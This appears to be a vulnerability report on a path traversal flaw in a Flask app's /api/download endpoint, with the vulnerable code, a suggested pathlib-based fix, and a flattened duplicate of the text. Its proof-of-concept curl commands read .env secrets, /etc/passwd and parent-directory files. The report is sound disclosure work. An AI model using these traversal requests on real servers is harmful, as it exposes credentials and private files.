Summary
The /api/download endpoint in app.py takes a path query parameter and passes it directly to os.path.isfile and send_from_directory with no validation. An unauthenticated attacker can read any file on the server that the Flask process has permission to access, including application secrets, environment files, and OS files.
Affected file
app.py, lines ~196-202
Root cause
@app.route('/api/download')
def download():
path = request.args.get('path')
if not path or not os.path.isfile(path.lstrip('/')): # no containment check
return 'File not found', 404
dir_name = os.path.dirname(path.lstrip('/'))
file_name = os.path.basename(path)
return send_from_directory(dir_name, file_name, as_attachment=True)
path.lstrip('/') removes the leading slash but does not prevent traversal. send_from_directory(dir_name, file_name) with an attacker-controlled dir_name will serve any reachable file.
Proof of concept
# Read the .env file (contains GROQ_API_KEY and other secrets)
curl "http://localhost:5000/api/download?path=/.env"
# Read /etc/passwd on Linux
curl "http://localhost:5000/api/download?path=/etc/passwd"
# Traverse to parent directories
curl "http://localhost:5000/api/download?path=../../.env"
The downloadUrl stored in notes-data.json uses the same pattern, so the surface is already in production use.
Impact
- Credential exposure:
.env contains GROQ_API_KEY; reading it lets an attacker exhaust the project's Groq quota or sell the key.
- Source code and data theft:
data/notes-data.json, utils/chatbot.py, app.py itself, and any other application file can be downloaded.
Suggested fix
Restrict downloads to a known safe root directory using pathlib.Path.resolve():
from pathlib import Path
DOWNLOAD_ROOT = Path(UPLOAD_ROOT).resolve()
@app.route('/api/download')
def download():
raw_path = request.args.get('path', '')
try:
safe_path = (DOWNLOAD_ROOT / raw_path.lstrip('/')).resolve()
safe_path.relative_to(DOWNLOAD_ROOT) # raises ValueError if outside root
except (ValueError, Exception):
return 'Forbidden', 403
if not safe_path.is_file():
return 'File not found', 404
return send_from_directory(safe_path.parent, safe_path.name, as_attachment=True)
Level
Level 3 - unauthenticated path traversal enabling arbitrary file read on the server.
Summary
The
/api/downloadendpoint inapp.pytakes apathquery parameter and passes it directly toos.path.isfileandsend_from_directorywith no validation. An unauthenticated attacker can read any file on the server that the Flask process has permission to access, including application secrets, environment files, and OS files.Affected file
app.py, lines ~196-202Root cause
path.lstrip('/')removes the leading slash but does not prevent traversal.send_from_directory(dir_name, file_name)with an attacker-controlleddir_namewill serve any reachable file.Proof of concept
The
downloadUrlstored innotes-data.jsonuses the same pattern, so the surface is already in production use.Impact
.envcontainsGROQ_API_KEY; reading it lets an attacker exhaust the project's Groq quota or sell the key.data/notes-data.json,utils/chatbot.py,app.pyitself, and any other application file can be downloaded.Suggested fix
Restrict downloads to a known safe root directory using
pathlib.Path.resolve():Level
Level 3 - unauthenticated path traversal enabling arbitrary file read on the server.